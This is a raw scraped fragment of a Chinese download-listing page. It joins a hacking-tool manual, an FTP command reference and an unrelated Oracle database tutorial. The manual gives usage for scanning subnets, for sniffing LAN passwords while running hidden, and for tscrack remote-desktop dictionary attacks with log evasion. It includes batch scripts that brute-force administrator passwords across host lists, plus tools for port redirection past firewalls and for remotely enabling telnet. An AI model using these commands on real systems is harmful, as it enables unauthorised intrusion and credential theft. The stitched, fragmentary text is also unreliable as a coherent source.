加载Nessus攻击脚本\n   -all 检测以上所有项目\n   其它选项\n   -i 适配器编号 设置网络适配器,可通过\"-l\"参数获取\n   -l 显示所有网络适配器\n   -v 显示详细扫描进度\n   -p 跳过没有响应的主机\n   -o 跳过没有检测到开放端口的主机\n   -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,默认数量为100,10 \n-log \u003Cem\u003E文件\u003C\u002Fem\u003E名 指定扫描报告\u003Cem\u003E文件\u003C\u002Fem\u003E名 (后缀为:TXT或HTML格式的\u003Cem\u003E文件\u003C\u002Fem\u003E)\n   用法示例\n   xscan -host 192.168.1.1-192.168.255.255 -all -active -p\n 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机   xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机\n   xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”\u003Cem\u003E文件\u003C\u002Fem\u003E中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机\n   九:\n   命令行方式嗅探器: xsniff.exe\n   可捕获局域网内FTP\u002FSMTP\u002FPOP3\u002FHTTP协议密码\n   参数说明\n   -tcp 输出TCP数据报\n   -udp 输出UDP数据报\n   -icmp 输出ICMP数据报\n   -pass 过滤密码信息\n   -hide 后台运行\n   -host 解析主机名\n   -addr IP地址 过滤IP地址\n   -port 端口 过滤端口\n   -log \u003Cem\u003E文件\u003C\u002Fem\u003E名 将输出保存到\u003Cem\u003E文件\u003C\u002Fem\u003E\n   -asc 以ASCII形式输出\n   -hex 以16进制形式输出\n   用法示例\n   xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log\u003Cem\u003E文件\u003C\u002Fem\u003E中\n   xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出\n   终端服务密码破解: tscrack.exe\n   参数说明\n   -h 显示使用帮助\n   -v 显示版本信息\n   -s 在屏幕上打出解密能力\n   -b 密码错误时发出的声音\n   -t 同是发出多个连接(多线程)\n   -N Prevent System Log entries on targeted server\n   -U 卸载移除tscrack组件\n   -f 使用-f后面的密码\n   -F 间隔时间(频率)\n   -l 使用-l后面的用户名\n   -w 使用-w后面的密码字典\n   -p 使用-p后面的密码\n   -D 登录主页面\n   用法示例\n   tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典\u003Cem\u003E文件\u003C\u002Fem\u003E暴破主机的administrator的登陆密码\n   tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户\n   @if not exist ipcscan.txt goto noscan\n   @for \u002Ff \"tokens=1 delims= \" %%i in (3389.txt) do call hack.\u003Cem\u003Ebat\u003C\u002Fem\u003E %%i\n   Nscan\n   @echo 3389.txt no find or scan faild \n  (①存为3389.\u003Cem\u003Ebat\u003C\u002Fem\u003E) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表\u003Cem\u003E文件\u003C\u002Fem\u003E3389.txt) \n  3389.\u003Cem\u003Ebat\u003C\u002Fem\u003E意思是:从3389.txt\u003Cem\u003E文件\u003C\u002Fem\u003E中取\u003Cem\u003E一个\u003C\u002Fem\u003EIP,接着运行hack.\u003Cem\u003Ebat\u003C\u002Fem\u003E \n  @if not exist tscrack.exe goto noscan\n   @tscrack %1 -l administrator -w pass.dic \u003E\u003Erouji.txt   :noscan   @echo tscrack.exe no find or scan faild\n   (②存为hack.\u003Cem\u003Ebat\u003C\u002Fem\u003E) (运行3389.\u003Cem\u003Ebat\u003C\u002Fem\u003E就OK,且3389.\u003Cem\u003Ebat\u003C\u002Fem\u003E、hack.\u003Cem\u003Ebat\u003C\u002Fem\u003E、3389.txt、pass.dic与tscrack.exe在同\u003Cem\u003E一个\u003C\u002Fem\u003E目录下;就可以等待结果了)\n   hack.\u003Cem\u003Ebat\u003C\u002Fem\u003E意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt\u003Cem\u003E文件\u003C\u002Fem\u003E中。\n   其它\n   Shutdown.exe\n   Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)\n   fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙) \n  fpipe -l 80 -s 1029 -r 80 当有人扫锚你的80端口时,他扫到的结果会完全是的主机信息 \n  Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请\u003Cem\u003E求\u003C\u002Fem\u003E经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。   OpenTelnet.exe (远程开启telnet工具)\n   opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。   NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。\n   ResumeTelnet.exe (OpenTelnet附带的另\u003Cem\u003E一个\u003C\u002Fem\u003E工具)\n   resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。\n   FTP命令详解\n   FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。\n   FTP的命令行格式为: \n  ftp -v -d -i -n -g [主机名] ,其中\n   -v 显示远程服务器的所有响应信息\n   -n 限制ftp的自动登录,即不使用;.n etrc\u003Cem\u003E文件\u003C\u002Fem\u003E;\n   -d 使用调试方式;\n   -g 取消全局\u003Cem\u003E文件\u003C\u002Fem\u003E名。\n   FTP使用的内部命令如下(中括号表示可选项):\n   1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip\n   2.$ macro-ame[args]:执行宏定义macro-name。\n   3.account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。   \n 4.append local-file[remote-file]:将本地\u003Cem\u003E文件\u003C\u002Fem\u003E追加到远程系统主机,若未指定远程系统\u003Cem\u003E文件\u003C\u002Fem\u003E名,则使用本地\u003Cem\u003E文件\u003C\u002Fem\u003E名。\n   5.ascii:使用ascii类型传输方式。\n   6.bell:每个命令执行完毕后计算机响铃一次。\n   7.bin:使用二进制\u003Cem\u003E文件\u003C\u002Fem\u003E传输方式。\n   8.bye:退出ftp会话过程。\n   9.case:在使用mget时,将远程主机\u003Cem\u003E文件\u003C\u002Fem\u003E名中的大写转为小写字母。\n   10. cd remote-dir:进入远程主机目录。\n   11.cdup:进入远程主机目录的父目录。\n   12.chmod mode file-name:将远程主机\u003Cem\u003E文件\u003C\u002Fem\u003Efile-name的存取方式设置为mode,如:chmod 777 a.out。\n   13.close:中断与远程服务器的ftp会话(与open对应)。\n   14 .cr:使用asscii方式传输\u003Cem\u003E文件\u003C\u002Fem\u003E时,将回车换行转换为回行。\n   15.delete remote-file:\u003Cem\u003E删除\u003C\u002Fem\u003E远程主机\u003Cem\u003E文件\u003C\u002Fem\u003E。\n   16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。\n   17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地\u003Cem\u003E文件\u003C\u002Fem\u003E。   \n 18.disconnection:同close。\n   19.form format:将\u003Cem\u003E文件\u003C\u002Fem\u003E传输方式设置为format,缺省为file方式。\n   20.get remote-file[local-file]:将远程主机的\u003Cem\u003E文件\u003C\u002Fem\u003Eremote-file传至本地硬盘的local-file。\n   21.glob:设置mdelete,mget,mput的\u003Cem\u003E文件\u003C\u002Fem\u003E名扩展,缺省时不扩展\u003Cem\u003E文件\u003C\u002Fem\u003E名,同命令行的-g参数。\n   22.hash:每传输1024字节,显示\u003Cem\u003E一个\u003C\u002Fem\u003Ehash符号(#)。\n   23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。   \n 24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。\n 25.image:设置二进制传输方式(同binary)。\n 26.lcd[dir]:将本地工作目录切换至dir。\n 27. ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地\u003Cem\u003E文件\u003C\u002Fem\u003Elocal-file。\n 28.macdef macro-name:定义\u003Cem\u003E一个\u003C\u002Fem\u003E宏,遇到macdef下的空行时,宏定义结束。\n 29.mdelete[remote-file]:\u003Cem\u003E删除\u003C\u002Fem\u003E远程主机\u003Cem\u003E文件\u003C\u002Fem\u003E。\n 30.mdir remote-files local-file:与dir类似,但可指定多个远程\u003Cem\u003E文件\u003C\u002Fem\u003E,如 :mdir *.o.*.zipoutfile。\n 31.mget remote-files:传输多个远程\u003Cem\u003E文件\u003C\u002Fem\u003E。\n 32.mkdir dir-name:在远程主机中建一目录。\n 33.mls remote-file local-file:同nlist,但可指定多个\u003Cem\u003E文件\u003C\u002Fem\u003E名。\n34.mode[modename]:将\u003Cem\u003E文件\u003C\u002Fem\u003E传输方式设置为modename, 缺省为stream方式。   \nmodtime file-name:显示远程主机\u003Cem\u003E文件\u003C\u002Fem\u003E的最后修改时间。\nmput local-file:将多个\u003Cem\u003E文件\u003C\u002Fem\u003E传输至远程主机。\nnewer file-name:如果远程机中file-name的修改时间比本地硬盘\u003Cem\u003E同名\u003C\u002Fem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E的时间更近,则重传该\u003Cem\u003E文件\u003C\u002Fem\u003E。\n   38.nlist[remote-dir][local-file]:显示远程主机目录的\u003Cem\u003E文件\u003C\u002Fem\u003E清单,并存入本地硬盘的local-file。\n   39.nmap[inpattern outpattern]:设置\u003Cem\u003E文件\u003C\u002Fem\u003E名映射机制, 使得\u003Cem\u003E文件\u003C\u002Fem\u003E传输时,\u003Cem\u003E文件\u003C\u002Fem\u003E中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输\u003Cem\u003E文件\u003C\u002Fem\u003Ea1.a2.a3时,\u003Cem\u003E文件\u003C\u002Fem\u003E名变为a1,a2。该命令特别适用于远程主机为非UNIX机的情况。\n   40.ntrans[inchars[outchars]]:设置\u003Cem\u003E文件\u003C\u002Fem\u003E名字符的翻译机制,如ntrans1R,则\u003Cem\u003E文件\u003C\u002Fem\u003E名LLL将变为RRR。\n   41.open host[port]:建立指定ftp服务器连接,可指定连接端口。\n   42.passive:进入被动传输方式。\n   43.prompt:设置多个\u003Cem\u003E文件\u003C\u002Fem\u003E传输时的交互提示。\n   44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接\u003Cem\u003E两个\u003C\u002Fem\u003Eftp服务器,以在\u003Cem\u003E两个\u003C\u002Fem\u003E服务器间传输\u003Cem\u003E文件\u003C\u002Fem\u003E。第一条ftp命令必须为open,以首先建立\u003Cem\u003E两个\u003C\u002Fem\u003E服务器间的连接。\n   45.put local-file[remote-file]:将本地\u003Cem\u003E文件\u003C\u002Fem\u003Elocal-file传送至远程主机。\n   46.pwd:显示远程主机的当前工作目录。\n   47.quit:同bye,退出ftp会话。\n   48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.\n   49.recv remote-file[local-file]:同get。\n   50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。\n   51.rhelp[cmd-name]:请\u003Cem\u003E求\u003C\u002Fem\u003E获得远程主机的帮助。\n   52.rstatus[file-name]:若未指定\u003Cem\u003E文件\u003C\u002Fem\u003E名,则显示远程主机的状态, 否则显示\u003Cem\u003E文件\u003C\u002Fem\u003E状态。 \n   53.rename[from][to]:更改远程主机\u003Cem\u003E文件\u003C\u002Fem\u003E名。\n   54.reset:清除回答队列。\n   55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。\n   56.rmdir dir-name:\u003Cem\u003E删除\u003C\u002Fem\u003E远程主机目录。\n   57.runique:设置\u003Cem\u003E文件\u003C\u002Fem\u003E名只一性存储,若\u003Cem\u003E文件\u003C\u002Fem\u003E存在,则在原\u003Cem\u003E文件\u003C\u002Fem\u003E后加后缀.1, .2等。\n   58.send local-file[remote-file]:同put。\n   59.sendport:设置PORT命令的使用。\n   60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。\n   61.size file-name:显示远程主机\u003Cem\u003E文件\u003C\u002Fem\u003E大小,如:site idle 7200。\n   62.status:显示当前ftp状态。\n   63.struct[struct-name]:将\u003Cem\u003E文件\u003C\u002Fem\u003E传输结构设置为struct-name, 缺省时使用stream结构。   64.sunique:将远程主机\u003Cem\u003E文件\u003C\u002Fem\u003E名存储设置为只一(与runique对应)。\n   65.system:显示远程主机的操作系统类型。\n   66.tenex:将\u003Cem\u003E文件\u003C\u002Fem\u003E传输类型设置为TENEX机的所需的类型。\n   67.tick:设置传输时的字节计数器。\n   68.trace:设置包跟踪。\n   69.type[type-name]:设置\u003Cem\u003E文件\u003C\u002Fem\u003E传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。\n   70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3\n   71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。\n   72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.\n   73.?[cmd]:同help.","createTime":"2012-04-24 11:58:23","dataReportQuery":"spm=1035.2023.3001.6557&utm_medium=distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Paid-1-4251631-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default&depth_1-utm_source=distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Paid-1-4251631-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default","dataReportClick":"{\"mod\":\"popu_645\",\"index\":\"1\",\"dest\":\"https:\u002F\u002Fdownload.csdn.net\u002Fdownload\u002Ffengwangyang\u002F4251631\",\"strategy\":\"2~default~OPENSEARCH~Paid\",\"extra\":\"{\\\"utm_medium\\\":\\\"distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Paid-1-4251631-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\\\",\\\"dist_request_id\\\":\\\"1714006244188_80349\\\"}\",\"spm\":\"1035.2023.3001.6557\"}","dataReportView":"{\"mod\":\"popu_645\",\"index\":\"1\",\"dest\":\"https:\u002F\u002Fdownload.csdn.net\u002Fdownload\u002Ffengwangyang\u002F4251631\",\"strategy\":\"2~default~OPENSEARCH~Paid\",\"extra\":\"{\\\"utm_medium\\\":\\\"distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Paid-1-4251631-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\\\",\\\"dist_request_id\\\":\\\"1714006244188_80349\\\"}\",\"spm\":\"1035.2023.3001.6557\"}","type":"download"},{"url":"https:\u002F\u002Fdownload.csdn.net\u002Fdownload\u002Fzhangguo5\u002F9835317","title":"oracle学习文档 笔记 全面 深刻 详细 通俗易懂 doc word格式 清晰 连接字符串","desc":"oracle学习文档 笔记 全面 深刻 详细 通俗易懂 doc word格式 清晰\n\n第一章\tOracle入门\n一、\t数据库概述\n数据库(Database)是按照数据结构来组织、存储和管理数据的仓库,它产生于距今五十年前。简单来说是本身可视为电子化的\u003Cem\u003E文件\u003C\u002Fem\u003E柜——存储电子\u003Cem\u003E文件\u003C\u002Fem\u003E的处所,用户可以对\u003Cem\u003E文件\u003C\u002Fem\u003E中的数据运行新增、截取、更新、\u003Cem\u003E删除\u003C\u002Fem\u003E等操作。\n常见的数据模型\n1.\t层次结构模型: 层次结构模型实质上是一种有根结点的定向有序树,IMS(Information Manage-mentSystem)是其典型代表。\n2.\t网状结构模型:按照网状数据结构建立的数据库系统称为网状数据库系统,其典型代表是DBTG(Data Base Task Group)。\n3.\t关系结构模型:关系式数据结构把一些复杂的数据结构归结为简单的二元关系(即二维表格形式)。常见的有Oracle、mssql、mysql等\n二、\t主流数据库\n数据库名\t公司\t特点\t工作环境\nmssql\t微软\t只能能运行在windows平台,体积比较庞大,占用许多系统资源, 但使用很方便,支持命令和图形化管理,收费。\t中型企业\nMysql\t甲骨文\t是个开源的数据库server,可运行在多种平台, 特点是响应速度特别快,主要面向中小企业\t中小型企业\nPostgreSQL\t\t号称“世界上最先进的开源数据库“,可以运行在多种平台下,是tb级数据库,而且性能也很好\t中大型企业\noracle\t甲骨文\t获得最高认证级别的ISO标准安全认证,性能最高, 保持开放平台下的TPC-D和TPC-C的世界记录。但价格不菲\t大型企业\ndb2\tIBM\tDB2在企业级的应用最为广泛, 在全球的500家最大的企业中,几乎85%以上用DB2数据库服务器。收费\t大型企业\nAccess\t微软\tAccess是一种桌面数据库,只适合数据量少的应用,在处理少量 数据和单机访问的数据库时是很好的,效率也很高\t小型企业\n\n三、\tOracle数据库概述\n ORACLE数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品,是目前最流行的客户\u002F服务器(CLIENT\u002FSERVER)或B\u002FS体系结构的数据库之一。\n\n\n\t拉里•埃里森\n \n\t就业前景\n从就业与择业的角度来讲,计算机相关专业的大学生从事oracle方面的技术是职业发展中的最佳选择。\n其一、就业面广:全球前100强企业99家都在使用ORACLE相关技术,中国政府机构,大中型企事业单位都能有ORACLE技术的工程师岗位。\n其二、技术层次深:如果期望进入IT服务或者产品公司(类似毕博、DELL、IBM等),Oracle技术能够帮助提高就业的深度。\n其三、职业方向多:Oracle数据库管理方向、Oracle开发及系统架构方向、Oracle数据建模数据仓库等方向。\n四、\t如何学习\n认真听课、多思考问题、多动手操作、有问题一定要问、多参与讨论、多帮组同学\n \n五、\t体系结构\noracle的体系很庞大,要学习它,首先要了解oracle的框架。oracle的框架主要由物理结构、逻辑结构、内存分配、后台进程、oracle例程、系统改变号 (System Change Number)组成\n \n\t物理结构\n物理结构包含三种数据\u003Cem\u003E文件\u003C\u002Fem\u003E:\n1)\t控制\u003Cem\u003E文件\u003C\u002Fem\u003E\n2)\t数据\u003Cem\u003E文件\u003C\u002Fem\u003E\n3)\t在线重做日志\u003Cem\u003E文件\u003C\u002Fem\u003E\n \n\t逻辑结构\n功能:数据库如何使用物理空间\n组成:表空间、段、区、块的组成层次\n \n六、\toracle安装、卸载和启动\n\t硬件\u003Cem\u003E要\u003Cem\u003E求\u003C\u002Fem\u003E\u003C\u002Fem\u003E\n物理内存:1GB\n可用物理内存:50M\n交换空间大小:3.25GB\n硬盘空间:10GB\n\t安装\n1.\t安装程序成功下载,将会得到如下2个\u003Cem\u003E文件\u003C\u002Fem\u003E:\n \n解压\u003Cem\u003E文件\u003C\u002Fem\u003E将得到database\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E,\u003Cem\u003E文件\u003C\u002Fem\u003E组织如下:\n \n点击setup.exe执行安装程序,开始安装。\n2.\t点击安装程序将会出现如下安装界面,步骤 1\u002F9:配置安全更新\n \n填写电子邮件地址(可以不填),去掉复选框,点击下一步\n3.\t步骤2\u002F9:选择安装选项\n \n勾选第\u003Cem\u003E一个\u003C\u002Fem\u003E,安装和配置数据库,点击下一步\n4.\t步骤3\u002F8:选择系统类\n \n勾选第\u003Cem\u003E一个\u003C\u002Fem\u003E:桌面类,点击下一步\n5.\t步骤4\u002F8:配置数据库安装\n \n选择安装路径,选择数据库版本(企业版),选择字符集(默认值)\n填写全局数据库名,管理口令\n6.\t步骤5\u002F8:先决条件检查\n \n如果你的电脑满足\u003Cem\u003E要\u003Cem\u003E求\u003C\u002Fem\u003E\u003C\u002Fem\u003E但仍然显示检查失败,这时候直接忽略,勾选全部忽略\n7.\t步骤6\u002F8:概要信息\n \n核对将要安装数据的详细信息,并保存响应\u003Cem\u003E文件\u003C\u002Fem\u003E,以备以后查看。然后点击完成数据库安装\n8.\t步骤7\u002F8:安装产品\n \n \n产品安装过程中将会出现以上2个界面\n9.\t步骤8\u002F8:完成安装\n \n\t卸载Oracle\n1.\t在运行services.msc打开服务,停止Oracle的所有服务。\n2.\toracle11G自带\u003Cem\u003E一个\u003C\u002Fem\u003E卸载批处理\\app\\Administrator\\product\\11.2.0\\dbhome_1\\deinstall\\deinstall.\u003Cem\u003Ebat\u003C\u002Fem\u003E\n3.\t运行该批处理程序将自动完成oracle卸载工作,最后手动\u003Cem\u003E删除\u003C\u002Fem\u003E\\app\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E(可能需要重启才能\u003Cem\u003E删除\u003C\u002Fem\u003E)\n4.\t运行regedit命令,打开注册表窗口。\u003Cem\u003E删除\u003C\u002Fem\u003E注册表中与Oracle相关的内容,具体如下: \n\t\u003Cem\u003E删除\u003C\u002Fem\u003EHKEY_LOCAL_MACHINE\u002FSOFTWARE\u002FORACLE目录。\n\t\u003Cem\u003E删除\u003C\u002Fem\u003EHKEY_LOCAL_MACHINE\u002FSYSTEM\u002FCurrentControlSet\u002FServices中所有以oracle或OraWeb为开头的键。\n\t\u003Cem\u003E删除\u003C\u002Fem\u003EHKEY_LOCAL_MACHINE\u002FSYSETM\u002FCurrentControlSet\u002FServices\u002FEventlog\u002Fapplication中所有以oracle开头的键。\n\t\u003Cem\u003E删除\u003C\u002Fem\u003EHKEY_CLASSES_ROOT目录下所有以Ora、Oracle、Orcl或EnumOra为前缀的键。\n\t\u003Cem\u003E删除\u003C\u002Fem\u003EHKEY_CURRENT_USER\u002FSOFTWARE\u002FMicrosoft\u002Fwindows\u002FCurrentVersion\u002FExplorer\u002FMenuOrder\u002FStart Menu\u002FPrograms中所有以oracle 开头的键。\n\t\u003Cem\u003E删除\u003C\u002Fem\u003EHKDY_LOCAL_MACHINE\u002FSOFTWARE\u002FODBC\u002FODBCINST.INI中除Microsoft ODBC for Oracle注册表键以外的所有含有Oracle的键。\n\t\u003Cem\u003E删除\u003C\u002Fem\u003E环境变量中的PATHT CLASSPATH中包含Oracle的值。\n\t\u003Cem\u003E删除\u003C\u002Fem\u003E“开始”\u002F“程序”中所有Oracle的组和图标。\n\t\u003Cem\u003E删除\u003C\u002Fem\u003E所有与Oracle相关的目录,包括:\nC:\\Program file\\Oracle目录。\nORACLE_BASE目录。\nC:\\Documents and Settings\\系统用户名、LocalSettings\\Temp目录下的临时\u003Cem\u003E文件\u003C\u002Fem\u003E。\n七、\toracle中的数据库\n \n八、\t常用的工具\n\tSql Plus\n \n\tSql Developer\n \n\tOracle Enterprise Manager\n \n \n第二章\t用户和权限\n一、\t用户介绍\nORACLE用户是学习ORACLE数据库中的基础知识,下面就介绍下类系统常用的默认ORACLE用户:\n1.\tsys用户:超级用户,完全是个SYSDBA(管理数据库的人)。拥有dba,sysdba,sysoper等角色或权限。是oracle权限最高的用户,登录时不能用normal。\n2.\tsystem用户:超级用户,默认是SYSOPT(操作数据库的人),不过它也能以SYSDBA的权限登陆。拥有普通dba角色权限。\n3.\tscott用户:是个演示用户,是让你学习Oracle用的。\n二、\t常用命令\n学习oracle,首先我们必须要掌握常用的基本命令,oracle中的命令比较多,常用的命令如下:\n1.\t登录命令(sqlplus)\n说明:用于登录到oracle数据库\n用法:sqlplus 用户名\u002F密码 [as sysdba\u002Fsysoper]\n注意:当用特权用户登录时,必须带上sysdba或sysoper\n例子:\n普通用户登录\n \nsys用户登录\n \n操作系统的身份登录\n \n2.\t连接命令(conn)\n说明:用于连接到oracle数据库,也可实现用户的切换\n用法:conn 用户名\u002F密码 [as sysdba\u002Fsysoper]\n注意:当用特权用户连接时,必须带上sysdba或sysoper\n例子:\n \n3.\t断开连接(disc)\n说明:断开与当前数据库的连接\n用法:disc\n4.\t显示用户名(show user)\n说明:显示当前用户名\n用法:show user\n5.\t退出(exit)\n说明:断开与当前数据库的连接并会退出\n用法:exit\n6.\t编辑脚本(edit\u002Fed)\n说明:编辑指定或缓冲区的sql脚本\n用法:edit [\u003Cem\u003E文件\u003C\u002Fem\u003E名]\n列子:\n \n7.\t运行脚本 (start\u002F@)\n说明:运行指定的sql脚本\n用法:start\u002F@ \u003Cem\u003E文件\u003C\u002Fem\u003E名\n列子:\n \n8.\t印刷屏幕 (spool)\n说明:将sql*plus屏幕中的内容输出到指定的\u003Cem\u003E文件\u003C\u002Fem\u003E\n用法:开始印刷-\u003Espool \u003Cem\u003E文件\u003C\u002Fem\u003E名 结束印刷-\u003Espool off\n列子:\n \n\u003Cem\u003E文件\u003C\u002Fem\u003E内容\n \n9.\t显示宽度 (linesize)\n说明:设置显示行的宽度,默认是80个字符\n用法:set linesize 120\n10.\t显示页数 (pagesize)\n说明:设置每页显示的行数,默认是14页\n用法:set pagesize 20\n三、\t用户管理\n1.\t创建用户\n说明:Oracle中需要创建用户一定是要具有dba(数据库管理员)权限的用户才能创建,而且创建的新用户不具备任何权限,连登录都不可以。\n用法:create user 新用户名 identified by 密码\n例子:\n \n2.\t修改密码\n说明:修改用户密码一般有两种方式,一种是通过命令password修改,另一种是通过\u003Cem\u003E语句\u003C\u002Fem\u003Ealter user实现,如果要修改他人的密码,必须要具有相关的权限才可以\n用法:\n方式一 password [用户名] \n方式二 alert user 用户名 identified by 新密码\n\t\t例子:\n\t\t修改当前用户(方式一)\n\t\t \n修改当前用户(方式二)\n \n修改其他用户(方式一)\n \n修改其他用户(方式二)\n \n3.\t用户禁用与启用\n说明:Oracle中想要禁用或启用\u003Cem\u003E一个\u003C\u002Fem\u003E账户也同样是使用alter user 命令来完成,只是语法和修改密码有所不同。\n用法:\n禁用 alert user 用户名 account lock\n启用 alert user 用户名 account unlock\n4.\t\u003Cem\u003E删除\u003C\u002Fem\u003E用户\n说明:Oracle中要\u003Cem\u003E删除\u003C\u002Fem\u003E\u003Cem\u003E一个\u003C\u002Fem\u003E用户,必须要具有dba的权限。而且不能\u003Cem\u003E删除\u003C\u002Fem\u003E当前用户,如果\u003Cem\u003E删除\u003C\u002Fem\u003E的用户有数据对象,那么必须加上关键字cascade。\n用法:drop user 用户名 [cascade]\n四、\t用户权限与角色\n1.\t权限\nOracle中权限主要分为两种,系统权限和实体权限。\n \n\t系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。\n\tDBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。\n\tRESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。\n\tCONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构。\n注意:\n对于普通用户:授予connect, resource权限。\n对于DBA管理用户:授予connect,resource, dba权限。\n\t授予系统权限\n说明:要实现授予系统权限只能由DBA用户授出。\n用法:grant 系统权限1[,系统权限2]… to 用户名1[,用户名2]….\n例子:\n \n\t系统权限回收:\n说明:系统权限只能由DBA用户回收\n用法:revoke 系统权限 from 用户名\n例子:\n \n\t实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。主要包括select, update, insert, alter, index, delete, all其中all包括所有权限。\n\t授予实体权限\n用法:grant 实体权限1[,实体权限2]… on 表名 to用户名1[,用户名2]….\n例子:\n \n\t实体权限回收\n用法:revoke 实体权限 on 表名from 用户名\n例子:\n \n\t查询用户拥有哪里权限:\nSQL\u003E select * from role_tab_privs;\u002F\u002F查询授予角色的对象权限\nSQL\u003E select * from role_role_privs;\u002F\u002F查询授予另一角色的角色\nSQL\u003E select * from DBA_tab_privs;\u002F\u002F查询直接授予用户的对象权限\nSQL\u003E select * from dba_role_privs;\u002F\u002F查询授予用户的角色\nSQL\u003E select * from dba_sys_privs;\u002F\u002F查询授予用户的系统权限\nSQL\u003E select * from role_sys_privs;\u002F\u002F查询授予角色的系统权限\nSQL\u003E Select * from session_privs;\u002F\u002F 查询当前用户所拥有的权限\n2.\t角色\n角色。角色是一组权限的集合,将角色赋给\u003Cem\u003E一个\u003C\u002Fem\u003E用户,这个用户就拥有了这个角色中的所有权限。\n \n\t系统预定义角色\n预定义角色是在数据库安装后,系统自动创建的一些常用的角色。下面我们就简单介绍些系统角色:\n\tCONNECT, RESOURCE, DBA这些预定义角色主要是为了向后兼容。其主要是用于数据库管理。oracle建议用户自己设计数据库管理和安全的权限规划,而不要简单的使用这些预定角色。将来的版本中这些角色可能不会作为预定义角色。\n\tDELETE_CATALOG_ROLE, EXECUTE_CATALOG_ROLE,SELECT_CATALOG_ROLE这些角色主要用于访问数据字典视图和包。\n\tEXP_FULL_DATABASE, IMP_FULL_DATABASE这\u003Cem\u003E两个\u003C\u002Fem\u003E角色用于数据导入导出工具的使用。\n\t自定义角色\nOracle建议我们自定义自己的角色,使我们更加灵活方便去管理用户\n\t创建角色\nSQL\u003E create role admin;\n\t授权给角色\nSQL\u003E grant connect,resource to admin;\n\t撤销角色的权限\nSQL\u003E revoke connect from admin;\n\t\u003Cem\u003E删除\u003C\u002Fem\u003E角色\nSQL\u003E drop role admin;\n \n第三章\tSql查询与函数\n一、\tSQL概述\nSQL(Structured Query Language)结构化查询语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。同时也是数据库脚本\u003Cem\u003E文件\u003C\u002Fem\u003E的扩展名。\n\tSQL语言主要包含5个部分\n\t数据定义语言Data Definition 